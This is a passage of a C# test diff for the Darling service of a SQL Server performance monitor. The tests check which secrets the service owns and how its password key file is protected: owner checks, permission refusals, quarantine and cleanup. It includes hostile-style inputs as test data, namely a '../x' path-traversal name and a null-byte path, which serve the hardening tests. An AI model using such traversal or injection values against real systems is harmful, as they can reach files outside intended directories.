+                {
+                    list.Add(Activator.CreateInstance(t.GetGenericArguments()[0])!);
+                }
+
+                p.SetValue(node, list);
+                Fill(list[0]!, depth + 1);
+            }
+        }
+    }
+
+    [Fact]
+    public void Walk_CoversTheEntriesTheOldCaptureMissed()
+    {
+        var found = DarlingOwnedSecrets.CollectReferences(Populated());
+        foreach (var expected in new[]
+        {
+            "env:WebOidcConfig.ClientSecret",
+            "env:WebOidcConfig.EncryptedClientSecret",
+            "env:MonitoredServer.EncryptedPassword",
+            "env:MonitoredServer.RemediationEncryptedPassword",
+            "env:SmtpConfig.Password",
+            "env:SmtpConfig.EncryptedPassword",
+            "env:WebTlsConfig.EncryptedPfxPassword",
+            "env:WebTlsConfig.PfxPassword",
+        })
+        {
+            Assert.Contains(expected, found);
+        }
+
+        Assert.Contains(found, f => f.StartsWith("env:", StringComparison.Ordinal) && f.EndsWith(".EncryptedToken", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void Parse_CapturesReferencesAsWritten_NotResolved()
+    {
+        var dir = Directory.CreateTempSubdirectory().FullName;
+        var secretFile = Path.Combine(dir, "store-conn.txt");
+        File.WriteAllText(secretFile, "Host=h;Password=resolved-value");
+        const string envName = "DARLING_TEST_OIDC_SECRET_OWNEDSET";
+        Environment.SetEnvironmentVariable(envName, "oidc-resolved");
+        try
+        {
+            var json = "{\"postgres\":{\"connectionString\":\"file:" + secretFile.Replace("\\", "\\\\") + "\"},"
+                     + "\"web\":{\"network\":{\"oidc\":{\"clientSecret\":\"env:" + envName + "\"}}}}";
+            var config = DarlingConfig.Parse(json);
+            Assert.Equal("Host=h;Password=resolved-value", config.Postgres.ConnectionString);
+            Assert.Contains("file:" + secretFile, config.SecretReferencesAsWritten);
+            Assert.Contains("env:" + envName, config.SecretReferencesAsWritten);
+            Assert.DoesNotContain(config.SecretReferencesAsWritten, r => r.Contains("resolved", StringComparison.Ordinal));
+
+            var set = DarlingOwnedSecrets.Compute(config, Path.Combine(dir, "darling.json"));
+            Assert.Contains(secretFile, set.Paths);
+            Assert.Contains(envName, set.EnvNames);
+        }
+        finally
+        {
+            Environment.SetEnvironmentVariable(envName, null);
+            Directory.Delete(dir, true);
+        }
+    }
+
+    [Fact]
+    public void Compute_IncludesTheManagedStoreFilesInTheDataDirectoryParent()
+    {
+        var root = Path.Combine(Path.GetTempPath(), "darling-owned-" + Guid.NewGuid().ToString("N"));
+        var config = new DarlingConfig();
+        config.Postgres.DataDirectory = Path.Combine(root, "pgdata");
+        var set = DarlingOwnedSecrets.Compute(config, Path.Combine(root, "darling.json"));
+
+        Assert.Contains(config.Postgres.DataDirectory, set.Paths);
+        foreach (var name in new[]
+        {
+            "pg-credential.dpapi", "pg-admin-credential.dpapi", "pg-viewer-credential.dpapi",
+            "pg-mcp-credential.dpapi", "server.crt", "server.key", "pg.log",
+        })
+        {
+            Assert.Contains(Path.Combine(root, name), set.Paths);
+        }
+    }
+
+    [Fact]
+    public void Compute_ADefaultManagedConfiguration_OwnsTheResolvedStoreDirectorysFiles()
+    {
+        var root = Path.Combine(Path.GetTempPath(), "darling-owned-" + Guid.NewGuid().ToString("N"));
+        var config = new DarlingConfig();
+        config.Postgres.Managed = true;
+        config.Postgres.DataDirectory = null;
+        var set = DarlingOwnedSecrets.Compute(config, Path.Combine(root, "darling.json"));
+
+        var resolved = DarlingManagedPostgres.ResolveDataDirectory(config.Postgres);
+        Assert.Contains(resolved, set.Paths);
+        Assert.Contains(DarlingManagedPostgres.CredentialPathFor(resolved), set.Paths);
+        Assert.Contains(DarlingManagedPostgres.AdminCredentialPathFor(resolved), set.Paths);
+        Assert.Contains(Path.Combine(Path.GetDirectoryName(resolved)!, "server.key"), set.Paths);
+        Assert.Contains(Path.Combine(Path.GetDirectoryName(resolved)!, "pg.log"), set.Paths);
+    }
+
+    [Fact]
+    public void Compute_OwnsTheComposeCredentialDirectory_AndTheLogHashKeyDirectory()
+    {
+        var root = Path.Combine(Path.GetTempPath(), "darling-owned-" + Guid.NewGuid().ToString("N"));
+        var configPath = Path.Combine(root, "darling.json");
+        var config = new DarlingConfig();
+        config.Postgres.Managed = false;
+        var set = DarlingOwnedSecrets.Compute(config, configPath);
+
+        Assert.Contains(DarlingManagedRoles.ComposeStoreCredentialDirectory, set.Paths);
+        Assert.Contains(DarlingLogHashKeyFile.DirectoryFor(config, configPath), set.Paths);
+    }
+
+    [Fact]
+    public void Holder_SetThenCurrent()
+    {
+        var before = DarlingOwnedSecrets.Current;
+        try
+        {
+            var set = new DarlingOwnedSet(new[] { "/x" }, new[] { "Y" });
+            DarlingOwnedSecrets.Set(set);
+            Assert.Same(set, DarlingOwnedSecrets.Current);
+        }
+        finally
+        {
+            DarlingOwnedSecrets.Set(before);
+        }
+    }
+
+    [Fact]
+    public void EveryEnvironmentVariableTheServiceReads_IsInTheOwnedSet()
+    {
+        var dir = PathTo(s_serviceDir);
+        var names = new HashSet<string>(StringComparer.Ordinal);
+        foreach (var file in Directory.EnumerateFiles(dir, "*.cs", SearchOption.AllDirectories))
+        {
+            if (file.Contains(Path.DirectorySeparatorChar + "obj" + Path.DirectorySeparatorChar) || file.Contains(Path.DirectorySeparatorChar + "bin" + Path.DirectorySeparatorChar))
+            {
+                continue;
+            }
+
+            foreach (Match m in Regex.Matches(File.ReadAllText(file), "GetEnvironmentVariable\\(\"([^\"]+)\""))
+            {
+                names.Add(m.Groups[1].Value);
+            }
+        }
+
+        Assert.NotEmpty(names);
+        var set = DarlingOwnedSecrets.Compute(new DarlingConfig(), "darling.json");
+        foreach (var n in names)
+        {
+            Assert.Contains(n, set.EnvNames, StringComparer.OrdinalIgnoreCase);
+        }
+    }
+
+    [Fact]
+    public void EverySecretLikeConfigProperty_IsReachedByTheWalk()
+    {
+        var src = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingConfig.cs");
+        var props = Regex.Matches(src, "\\[JsonPropertyName\\(\"[^\"]+\"\\)\\]\\s*public string\\? (\\w+)\\s*\\{")
+            .Select(m => m.Groups[1].Value)
+            .Where(n => Regex.IsMatch(n, "secret|token|password|path|key|cert|connection", RegexOptions.IgnoreCase))
+            .Distinct()
+            .ToList();
+        Assert.NotEmpty(props);
+
+        var found = DarlingOwnedSecrets.CollectReferences(Populated());
+        foreach (var prop in props)
+        {
+            Assert.Contains(found, f => f.EndsWith("." + prop, StringComparison.Ordinal));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingPasswordKeyFileHardeningTests.cs b/Darling/Darling.Tests/DarlingPasswordKeyFileHardeningTests.cs
new file mode 100644
index 0000000000..e0b807ae24
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingPasswordKeyFileHardeningTests.cs
@@ -0,0 +1,231 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Security.Cryptography;
+using Microsoft.Extensions.Logging.Abstractions;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5366: the password key file's write, discard and load paths. A new file is checked for its owner before it is moved
+/// into place; a check that cannot be made refuses a write; leftover temporary files are removed; a key that could not be
+/// moved aside leaves a marker; the chmod of a kept key is for the service's own file only.
+/// (Zeroing the live key on the two-names refusal is not observable from outside, so it has no test.)
+/// </summary>
+public sealed class DarlingPasswordKeyFileHardeningTests
+{
+    private static readonly Lazy<byte[]> Key3072 = new(() =>
+    {
+        using var rsa = RSA.Create(DarlingPasswordKeyFile.KeyBits);
+        return rsa.ExportPkcs8PrivateKey();
+    });
+
+    /// <summary>The stand-in modes with an owner report of its own and a record of every mode set.</summary>
+    private sealed class ReportingModes(StandInUnixModes inner) : IUnixDirectoryModes
+    {
+        public List<string> SetPaths { get; } = [];
+
+        public Func<string, UnixFileOwner?> Owner { get; set; } = _ => null;
+
+        public uint EffectiveUserId => 1000;
+
+        public void CreateOwnerOnly(string directory) => inner.CreateOwnerOnly(directory);
+
+        public UnixFileMode Get(string directory) => inner.Get(directory);
+
+        public void Set(string directory, UnixFileMode mode)
+        {
+            SetPaths.Add(Path.GetFullPath(directory));
+            inner.Set(directory, mode);
+        }
+
+        public UnixFileOwner? OwnerOf(string path) => Owner(path);
+    }
+
+    [Fact]
+    public void ANewFile_OwnedByAnotherUser_IsNotKept_AndNothingIsLeftBehind()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            Directory.CreateDirectory(directory);
+            var inner = new StandInUnixModes();
+            inner.Report(directory, "700");
+            var modes = new ReportingModes(inner)
+            {
+                Owner = path => path.Contains(DarlingServiceKeyFile.UniqueTemporaryInfix, StringComparison.Ordinal)
+                    ? new UnixFileOwner(2000, 1)
+                    : null,
+            };
+
+            using (ComposeCredentialDirectoryGuard.BeginForTest(modes))
+            {
+                var generated = DarlingPasswordKeyFile.Generate(directory, () => (byte[])Key3072.Value.Clone(), NullLogger.Instance);
+
+                Assert.NotNull(generated.Refusal);
+                Assert.Contains("another user", generated.Refusal, StringComparison.Ordinal);
+                Assert.Null(generated.Pkcs8);
+                Assert.Empty(Directory.GetFileSystemEntries(directory));
+            }
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void AKeptFileCheckThatCannotBeMade_RefusesAWrite_BeforeAnyKeyIsSupplied()
+    {
+        var directory = NewDirectory() + "\0example";
+        var supplied = false;
+
+        var generated = DarlingPasswordKeyFile.Generate(directory, () =>
+        {
+            supplied = true;
+            return (byte[])Key3072.Value.Clone();
+        }, NullLogger.Instance);
+
+        Assert.NotNull(generated.Refusal);
+        Assert.Contains("could not be checked", generated.Refusal, StringComparison.Ordinal);
+        Assert.Null(generated.Pkcs8);
+        Assert.False(supplied, "a key was asked for although a kept file might be waiting");
+    }
+
+    [Fact]
+    public void AWrite_RemovesLeftoverTemporaryFiles_AndLeavesADirectoryWithSuchAName()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            Directory.CreateDirectory(directory);
+            var staleFile = Path.Combine(directory, DarlingPasswordKeyFile.FileName + ".tmp-abc");
+            var staleDirectory = Path.Combine(directory, DarlingPasswordKeyFile.FileName + ".tmp-dir");
+            File.WriteAllText(staleFile, "example-left-over");
+            Directory.CreateDirectory(staleDirectory);
+            File.WriteAllText(Path.Combine(staleDirectory, "inside.txt"), "example");
+
+            var generated = DarlingPasswordKeyFile.Generate(directory, () => (byte[])Key3072.Value.Clone(), NullLogger.Instance);
+
+            Assert.True(generated.Refusal is null, generated.Refusal);
+            Assert.False(File.Exists(staleFile), "a leftover temporary file outlived the write");
+            Assert.True(Directory.Exists(staleDirectory), "a directory with a temporary file's name was removed");
+            Assert.True(File.Exists(Path.Combine(staleDirectory, "inside.txt")));
+            Assert.True(File.Exists(Path.Combine(directory, DarlingPasswordKeyFile.FileName)));
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    /// <summary>A key that cannot be moved aside (an open handle without delete sharing stops the rename on Windows; Unix
+    /// has no such lock, so this arm is Windows's) leaves an empty file at the quarantine name, so every later load
+    /// refuses with both names.</summary>
+    [Fact]
+    public void AKeyThatCouldNotBeMovedAside_LeavesAnEmptyMarker_AndEveryLaterLoadRefuses()
+    {
+        if (!OperatingSystem.IsWindows())
+        {
+            return;
+        }
+
+        var directory = NewDirectory();
+        try
+        {
+            Directory.CreateDirectory(directory);
+            var keyPath = Path.Combine(directory, DarlingPasswordKeyFile.FileName);
+            StandInUnixModes.WriteOwnerOnly(keyPath, DarlingSecrets.Protect(Convert.ToBase64String(Key3072.Value)));
+            var quarantinePath = keyPath + DarlingPasswordKeyFile.QuarantineSuffix;
+            var modes = new StandInUnixModes();
+            modes.Report(directory, "777");
+
+            using (var held = new FileStream(keyPath, FileMode.Open, FileAccess.Read, FileShare.Read))
+            using (ComposeCredentialDirectoryGuard.BeginForTest(modes))
+            {
+                var first = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+
+                Assert.NotNull(first.Refusal);
+                Assert.Null(first.Pkcs8);
+                Assert.True(File.Exists(quarantinePath), "no marker was left at the quarantine name: " + first.Refusal + " / " + string.Join(",", Directory.GetFileSystemEntries(directory).Select(Path.GetFileName)));
+                Assert.Equal(0, new FileInfo(quarantinePath).Length);
+                Assert.True(held.CanRead);
+            }
+
+            /* The next start finds the directory owner-only and the handle gone: the key is at its live name, and the
+               marker still says it was found while the directory was open. */
+            using (ComposeCredentialDirectoryGuard.BeginForTest(modes))
+            {
+                var next = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+
+                Assert.Null(next.Pkcs8);
+                Assert.True(next.Untrusted);
+                Assert.Contains("Two password key files", next.Refusal, StringComparison.Ordinal);
+            }
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Theory]
+    [InlineData(1000u, 1ul, true)]
+    [InlineData(1000u, 2ul, false)]
+    [InlineData(2000u, 1ul, false)]
+    public void AKeptKey_IsSetToOwnerOnly_OnlyWhenItIsTheServicesOwnWithOneName(uint owner, ulong links, bool expectSet)
+    {
+        var directory = NewDirectory();
+        try
+        {
+            Directory.CreateDirectory(directory);
+            var keyPath = Path.Combine(directory, DarlingPasswordKeyFile.FileName);
+            StandInUnixModes.WriteOwnerOnly(keyPath, OperatingSystem.IsWindows()
+                ? DarlingSecrets.Protect(Convert.ToBase64String(Key3072.Value))
+                : Convert.ToBase64String(Key3072.Value));
+            var kept = Path.GetFullPath(keyPath + DarlingPasswordKeyFile.QuarantineSuffix);
+            var inner = new StandInUnixModes();
+            inner.Report(directory, "777");
+            var modes = new ReportingModes(inner)
+            {
+                Owner = path => string.Equals(Path.GetFullPath(path), kept, StringComparison.OrdinalIgnoreCase)
+                    ? new UnixFileOwner(owner, links)
+                    : null,
+            };
+
+            using (ComposeCredentialDirectoryGuard.BeginForTest(modes))
+            {
+                _ = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+            }
+
+            Assert.Equal(expectSet, modes.SetPaths.Contains(kept, StringComparer.OrdinalIgnoreCase));
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    private static string NewDirectory() =>
+        Path.Combine(Path.GetTempPath(), "darling-5366-h-" + Guid.NewGuid().ToString("N"), "keys");
+
+    private static void Remove(string directory)
+    {
+        var root = Path.GetDirectoryName(directory)!;
+        if (Directory.Exists(root))
+        {
+            Directory.Delete(root, recursive: true);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingPasswordKeyFileTests.cs b/Darling/Darling.Tests/DarlingPasswordKeyFileTests.cs
new file mode 100644
index 0000000000..3aedaf1f8f
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingPasswordKeyFileTests.cs
@@ -0,0 +1,915 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Security.AccessControl;
+using System.Security.Cryptography;
+using System.Security.Principal;
+using Microsoft.Extensions.Logging.Abstractions;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5366: the service's password key file. Load never generates; Generate never overwrites; Retire renames and never
+/// deletes; a directory that was open to other users' writes keeps the key file (and says so) while every other
+/// credential file in it is removed. Windows runs the DPAPI and ACL arm; the Unix arm of the directory check is pinned
+/// through <see cref="StandInUnixModes"/>, and the 0644 file check is the Unix run's.
+/// </summary>
+public sealed class DarlingPasswordKeyFileTests
+{
+    private static readonly Lazy<byte[]> Key3072 = new(() =>
+    {
+        using var rsa = RSA.Create(DarlingPasswordKeyFile.KeyBits);
+        return rsa.ExportPkcs8PrivateKey();
+    });
+
+    private static readonly Lazy<byte[]> Key2048 = new(() =>
+    {
+        using var rsa = RSA.Create(2048);
+        return rsa.ExportPkcs8PrivateKey();
+    });
+
+    [Fact]
+    public void Load_OnAnEmptyDirectory_FindsNothing_AndWritesNothing()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            Directory.CreateDirectory(directory);
+
+            var load = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+
+            Assert.False(load.Present);
+            Assert.False(load.Untrusted);
+            Assert.False(load.FoundAfterOpenDirectory);
+            Assert.Null(load.Refusal);
+            Assert.Null(load.Pkcs8);
+            Assert.Equal(Path.Combine(directory, DarlingPasswordKeyFile.FileName), load.Path);
+            Assert.Empty(Directory.GetFileSystemEntries(directory));
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void Load_OnADirectoryThatDoesNotExist_FindsNothing_AndCreatesNothing()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            var load = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+
+            Assert.False(load.Present);
+            Assert.Null(load.Refusal);
+            Assert.False(Directory.Exists(directory), "a load made the directory");
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void Generate_WritesAnOwnerOnlyKey_ThatLoadsBack_AndZeroesTheBytesItWasGiven()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            var supplied = (byte[])Key3072.Value.Clone();
+
+            var generated = DarlingPasswordKeyFile.Generate(directory, () => supplied, NullLogger.Instance);
+
+            Assert.Null(generated.Refusal);
+            Assert.True(generated.Present);
+            Assert.Equal(Key3072.Value, generated.Pkcs8);
+            Assert.All(supplied, b => Assert.Equal(0, b));
+
+            var path = Path.Combine(directory, DarlingPasswordKeyFile.FileName);
+            Assert.Equal(path, generated.Path);
+            AssertOwnerOnly(path);
+            Assert.False(File.Exists(path + ".tmp"), "the temporary file the key is written through was left behind");
+
+            var load = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+
+            Assert.Null(load.Refusal);
+            Assert.True(load.Present);
+            Assert.False(load.Untrusted);
+            Assert.False(load.FoundAfterOpenDirectory);
+            Assert.Equal(Key3072.Value, load.Pkcs8);
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void Generate_OverAnExistingFile_Fails_AndLeavesItUnchanged()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            Assert.Null(DarlingPasswordKeyFile.Generate(directory, () => (byte[])Key3072.Value.Clone(), NullLogger.Instance).Refusal);
+            var path = Path.Combine(directory, DarlingPasswordKeyFile.FileName);
+            var before = File.ReadAllBytes(path);
+
+            var second = DarlingPasswordKeyFile.Generate(directory, () => (byte[])Key2048.Value.Clone(), NullLogger.Instance);
+            var third = DarlingPasswordKeyFile.Generate(directory, () => (byte[])Key3072.Value.Clone(), NullLogger.Instance);
+
+            foreach (var refused in new[] { second, third })
+            {
+                Assert.NotNull(refused.Refusal);
+                Assert.Null(refused.Pkcs8);
+                Assert.Contains(DarlingPasswordKeyFile.FileName, refused.Refusal, StringComparison.Ordinal);
+                Assert.Contains(directory, refused.Refusal, StringComparison.Ordinal);
+            }
+
+            Assert.Equal(before, File.ReadAllBytes(path));
+            Assert.Equal(Key3072.Value, DarlingPasswordKeyFile.Load(directory, NullLogger.Instance).Pkcs8);
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void Generate_OverADirectoryAtItsName_Fails_AndLeavesItAlone()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            var path = Path.Combine(directory, DarlingPasswordKeyFile.FileName);
+            Directory.CreateDirectory(path);
+
+            var result = DarlingPasswordKeyFile.Generate(directory, () => (byte[])Key3072.Value.Clone(), NullLogger.Instance);
+
+            Assert.NotNull(result.Refusal);
+            Assert.True(result.Present);
+            Assert.True(Directory.Exists(path));
+            Assert.Empty(Directory.GetFileSystemEntries(path));
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void Generate_RefusesAKeyThatIsNotExactly3072Bits_AndWritesNothing()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            Directory.CreateDirectory(directory);
+
+            var tooSmall = DarlingPasswordKeyFile.Generate(directory, () => (byte[])Key2048.Value.Clone(), NullLogger.Instance);
+            var notAKey = DarlingPasswordKeyFile.Generate(directory, () => new byte[] { 1, 2, 3 }, NullLogger.Instance);
+
+            Assert.Contains("3072", tooSmall.Refusal, StringComparison.Ordinal);
+            Assert.NotNull(notAKey.Refusal);
+            Assert.Empty(Directory.GetFileSystemEntries(directory));
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void ALoadOfAFileOrdinaryUsersCanRead_IsUntrusted_AndLeavesItUnchanged_OnWindows()
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "The ACL arm is Windows'; the Unix mode arm is the next test's.");
+
+        var directory = NewDirectory();
+        try
+        {
+            var path = Path.Combine(directory, DarlingPasswordKeyFile.FileName);
+            Assert.Null(DarlingPasswordKeyFile.Generate(directory, () => (byte[])Key3072.Value.Clone(), NullLogger.Instance).Refusal);
+            var exposed = new FileInfo(path).GetAccessControl();
+            exposed.AddAccessRule(new FileSystemAccessRule(
+                new SecurityIdentifier(WellKnownSidType.BuiltinUsersSid, null), FileSystemRights.Read, AccessControlType.Allow));
+            new FileInfo(path).SetAccessControl(exposed);
+            var before = File.ReadAllBytes(path);
+
+            var load = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+
+            AssertRefusedUntrusted(load, directory, "ordinary local users can read it");
+            Assert.Equal(before, File.ReadAllBytes(path));
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void ALoadOfA0644File_IsUntrusted_AndLeavesItUnchanged_OnUnix()
+    {
+        Assert.SkipUnless(!OperatingSystem.IsWindows(), "File modes are Unix's; Windows judges the ACL (the previous test).");
+
+        var directory = NewDirectory();
+        try
+        {
+            Directory.CreateDirectory(directory);
+            var path = Path.Combine(directory, DarlingPasswordKeyFile.FileName);
+            File.WriteAllText(path, Convert.ToBase64String(Key3072.Value));
+            if (!OperatingSystem.IsWindows())
+            {
+                File.SetUnixFileMode(path, UnixFileMode.UserRead | UnixFileMode.UserWrite | UnixFileMode.GroupRead | UnixFileMode.OtherRead);
+            }
+
+            var before = File.ReadAllBytes(path);
+
+            var load = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+
+            AssertRefusedUntrusted(load, directory, "gives other users access");
+            Assert.Equal(before, File.ReadAllBytes(path));
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void ALoadOfAFileThatIsNotA3072BitKey_IsRefusedNamingTheFile_NotTheKey_AndLeavesItUnchanged()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            Directory.CreateDirectory(directory);
+            var path = Path.Combine(directory, DarlingPasswordKeyFile.FileName);
+            var small = Convert.ToBase64String(Key2048.Value);
+            WriteKeyFile(path, small);
+            var before = File.ReadAllBytes(path);
+
+            var load = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+
+            Assert.True(load.Present);
+            Assert.False(load.Untrusted);
+            Assert.Null(load.Pkcs8);
+            Assert.Contains("3072", load.Refusal, StringComparison.Ordinal);
+            Assert.Contains(DarlingPasswordKeyFile.FileName, load.Refusal, StringComparison.Ordinal);
+            Assert.Contains(directory, load.Refusal, StringComparison.Ordinal);
+            Assert.DoesNotContain(small[..40], load.Refusal, StringComparison.Ordinal);
+            Assert.Equal(before, File.ReadAllBytes(path));
+
+            WriteKeyFile(path + ".other", "this is not base64 !!");
+            File.Delete(path);
+            File.Move(path + ".other", path);
+            var garbage = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+            Assert.True(garbage.Present);
+            Assert.NotNull(garbage.Refusal);
+            Assert.Null(garbage.Pkcs8);
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void Retire_RenamesTheFile_KeepingItsBytes_AndNeverOverwritesAnEarlierOne()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            var path = Path.Combine(directory, DarlingPasswordKeyFile.FileName);
+            Assert.Null(DarlingPasswordKeyFile.Generate(directory, () => (byte[])Key3072.Value.Clone(), NullLogger.Instance).Refusal);
+            var bytes = File.ReadAllBytes(path);
+
+            var retired = DarlingPasswordKeyFile.Retire(directory, "retired", NullLogger.Instance);
+
+            Assert.Equal(path + ".retired", retired);
+            Assert.False(File.Exists(path));
+            Assert.Equal(bytes, File.ReadAllBytes(retired));
+            Assert.False(DarlingPasswordKeyFile.Load(directory, NullLogger.Instance).Present);
+
+            /* A second key retired the same way takes its own name, and the first stays. */
+            Assert.Null(DarlingPasswordKeyFile.Generate(directory, () => (byte[])Key3072.Value.Clone(), NullLogger.Instance).Refusal);
+            var secondBytes = File.ReadAllBytes(path);
+            var second = DarlingPasswordKeyFile.Retire(directory, "retired", NullLogger.Instance);
+
+            Assert.NotEqual(retired, second);
+            Assert.Equal(bytes, File.ReadAllBytes(retired));
+            Assert.Equal(secondBytes, File.ReadAllBytes(second));
+
+            Assert.Equal(string.Empty, DarlingPasswordKeyFile.Retire(directory, "retired", NullLogger.Instance));
+            Assert.Throws<ArgumentException>(() => DarlingPasswordKeyFile.Retire(directory, "../x", NullLogger.Instance));
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    /// <summary>An open directory keeps the key file and says so; the role-password files, the log-hash key and the
+    /// temporary files are still removed; the next load in the same start reports it too.</summary>
+    [Fact]
+    public void AnOpenDirectory_KeepsTheKeyFile_UnderItsQuarantineName_AndStillRemovesTheOtherCredentialFiles()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            Directory.CreateDirectory(directory);
+            var keyPath = Path.Combine(directory, DarlingPasswordKeyFile.FileName);
+            var adminPath = Path.Combine(directory, DarlingManagedRoles.ComposeStoreCredentialFileName(DarlingManagedPostgres.AdminRoleName));
+            var hashKeyPath = Path.Combine(directory, DarlingLogHashKeyFile.FileName);
+            WriteKeyFile(keyPath, Convert.ToBase64String(Key3072.Value));
+            StandInUnixModes.WriteOwnerOnly(adminPath, "Example5366Admin");
+            StandInUnixModes.WriteOwnerOnly(hashKeyPath, OperatingSystem.IsWindows() ? DarlingSecrets.Protect("AAAA") : "AAAA");
+            StandInUnixModes.WriteOwnerOnly(keyPath + ".tmp", "example-temporary");
+            StandInUnixModes.WriteOwnerOnly(keyPath + ".tmp-0123abcd", "example-unique-temporary");
+            var keyBefore = File.ReadAllBytes(keyPath);
+            var modes = new StandInUnixModes();
+            modes.Report(directory, "777");
+
+            using (ComposeCredentialDirectoryGuard.BeginForTest(modes))
+            {
+                var load = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+
+                Assert.True(load.Refusal is null, load.Refusal);
+                Assert.True(load.Present);
+                Assert.True(load.FoundAfterOpenDirectory);
+                Assert.Equal(Key3072.Value, load.Pkcs8);
+                Assert.Equal(keyPath + DarlingPasswordKeyFile.QuarantineSuffix, load.Path);
+                Assert.Equal("700", modes.Octal(directory));
+                Assert.Equal("600", modes.Octal(load.Path));
+                Assert.False(File.Exists(keyPath), "the live name was not left empty");
+                Assert.Equal(keyBefore, File.ReadAllBytes(load.Path));
+                Assert.False(File.Exists(adminPath), "the role password outlived the start that closed its directory");
+                Assert.False(File.Exists(hashKeyPath), "the log-hash key outlived the start that closed its directory");
+                Assert.False(File.Exists(keyPath + ".tmp"));
+                Assert.False(File.Exists(keyPath + ".tmp-0123abcd"), "a temporary file with a name of its own outlived the start");
+
+                Assert.True(DarlingPasswordKeyFile.Load(directory, NullLogger.Instance).FoundAfterOpenDirectory);
+            }
+
+            /* The next start finds the directory owner-only, and the key is still the one that was found open: the
+               record is on disk, not in the process. */
+            using (ComposeCredentialDirectoryGuard.BeginForTest(modes))
+            {
+                var next = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+
+                Assert.Null(next.Refusal);
+                Assert.True(next.FoundAfterOpenDirectory);
+                Assert.Equal(Key3072.Value, next.Pkcs8);
+            }
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void ADirectoryAtTheKeyName_IsQuarantinedToo_AndTheLiveNameIsEmpty()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            Directory.CreateDirectory(directory);
+            var keyPath = Path.Combine(directory, DarlingPasswordKeyFile.FileName);
+            Directory.CreateDirectory(keyPath);
+            var modes = new StandInUnixModes();
+            modes.Report(directory, "777");
+
+            using (ComposeCredentialDirectoryGuard.BeginForTest(modes))
+            {
+                var load = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+
+                Assert.True(load.Present);
+                Assert.True(load.Untrusted);
+                Assert.True(load.FoundAfterOpenDirectory);
+                Assert.Null(load.Pkcs8);
+                Assert.False(Directory.Exists(keyPath), "the live name still holds the directory");
+                Assert.True(Directory.Exists(keyPath + DarlingPasswordKeyFile.QuarantineSuffix));
+            }
+        }
+        finally
+        {
+            Remove(directory);
+        }
+    }
+
+    [Fact]
+    public void AnEarlierQuarantine_IsNeverReplaced_AndTheNewOneIsKeptUnderTheNextFreeName()
+    {
+        var directory = NewDirectory();
+        try
+        {
+            Directory.CreateDirectory(directory);
+            var keyPath = Path.Combine(directory, DarlingPasswordKeyFile.FileName);
+            var quarantine = keyPath + DarlingPasswordKeyFile.QuarantineSuffix;
+            WriteKeyFile(quarantine, "example-earlier-quarantine");
+            WriteKeyFile(keyPath, Convert.ToBase64String(Key3072.Value));
+            var keyBefore = File.ReadAllBytes(keyPath);
+            var modes = new StandInUnixModes();
+            modes.Report(directory, "777");
+
+            using (ComposeCredentialDirectoryGuard.BeginForTest(modes))
+            {
+                var load = DarlingPasswordKeyFile.Load(directory, NullLogger.Instance);
+
